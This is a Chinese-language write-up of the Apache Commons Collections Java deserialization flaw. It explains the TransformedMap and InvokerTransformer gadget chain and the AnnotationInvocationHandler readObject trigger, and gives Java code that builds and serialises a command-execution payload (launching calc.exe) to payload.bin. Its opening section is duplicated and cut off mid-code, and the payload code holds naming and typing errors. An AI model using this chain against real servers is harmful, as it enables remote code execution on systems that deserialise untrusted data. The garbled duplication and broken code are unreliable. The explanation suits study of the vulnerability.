### Apache Commons Collections背景介绍 Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库，它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件，Commons Collections被广泛应用于各种Java应用的开发。 ### Apache Commons Collections漏洞原理 Map类是存储键值对的数据结构，Apache Commons Collections中实现了类TransformedMap，用来对Map进行某种变换，只要调用decorate()函数，传入key和value的变换函数Transformer，即可从任意Map对象生成相应的TransformedMap，decorate()函数如下： ```java public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } ``` Transformer是一个接口，其中定义的transform()函数用来将一个对象转换成另一个对象。如下所示： ```java public interface Transformer { public Object transform(Object input); } ``` 当Map中的任意项的Key或者Value被修改，相应的Transformer就会被调用。除此以外，多个Transformer还能串起来，形成ChainedTransformer。 Apache Commons Collections中已经实现了一些常见的Transformer，其中有一个可以通过调用Java的反射机制来调用任意函数，叫做InvokerTransformer，代码如下： ```java public class InvokerTransformer implements Transformer, Serializable { ... public...
### Apache Commons Collections背景介绍 Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库，它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件，Commons Collections被广泛应用于各种Java应用的开发。 ### Apache Commons Collections漏洞原理 Map类是存储键值对的数据结构，Apache Commons Collections中实现了类TransformedMap，用来对Map进行某种变换，只要调用decorate()函数，传入key和value的变换函数Transformer，即可从任意Map对象生成相应的TransformedMap，decorate()函数如下： ```java public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } ``` Transformer是一个接口，其中定义的transform()函数用来将一个对象转换成另一个对象。如下所示： ```java public interface Transformer { public Object transform(Object input); } ``` 当Map中的任意项的Key或者Value被修改，相应的Transformer就会被调用。除此以外，多个Transformer还能串起来，形成ChainedTransformer。 Apache Commons Collections中已经实现了一些常见的Transformer，其中有一个可以通过调用Java的反射机制来调用任意函数，叫做InvokerTransformer，代码如下： ```java public class InvokerTransformer implements Transformer, Serializable { ... public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { super(); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException ex) { throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } } } ``` 只需要传入方法名、参数类型和参数，即可调用任意函数。因此要想任意代码执行，我们可以首先构造一个Map和一个能够执行代码的ChainedTransformer，以此生成一个TransformedMap，然后想办法去触发Map中的MapEntry产生修改（例如setValue()函数），即可触发我们构造的Transformer。 测试代码如下： ```java public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"})}; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new hashMap(); innerMap.put("value", "value"); map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next(); onlyElement.setValue("foobar"); } ``` 当上面的代码运行到setValue()时，就会触发ChainedTransformer中的一系列变换函数：首先通过ConstantTransformer获得Runtime类，进一步通过反射调用getMethod找到invoke函数，最后再运行命令calc.exe。 但是目前的构造还需要依赖于触发Map中某一项去调用setValue()，我们需要想办法通过readObject()直接触发。 我们观察到java运行库中有这样一个类AnnotationInvocationHandler，这个类有一个成员变量memberValues是Map类型，如下所示： ```java class AnnotationInvocationHandler implements InvocationHandler, Serializable { private final Class<? extends Annotation> type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { this.type = type; this.memberValues = memberValues; } ... ``` 更令人惊喜的是，AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数，如下所示： ```java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; all bets are off return; } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { // 此处触发一些列的Transformer memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } } } } ``` 因此，我们只需要使用前面构造的Map来构造AnnotationInvocationHandler，进行序列化，当触发readObject()反序列化的时候，就能实现命令执行。另外需要注意的是，想要在调用未包含的package中的构造函数，我们必须通过反射的方式，综合生成任意代码执行的payload的代码如下： ```java public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[] {"calc.exe"})}; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new hashMap(); innerMap.put("value", "value"); map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, outerMap); File f = new File("payload.bin"); ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f)); out.writeObject(instance); out.flush(); out.close(); } ``` ### 参考文档 http://www.myhack58.com/Article/html/3/62/2015/69493_4.htm http://www.secpulse.com/archives/40420.html http://blog.nsfocus.net/java-deserialization-vulnerability-comments/
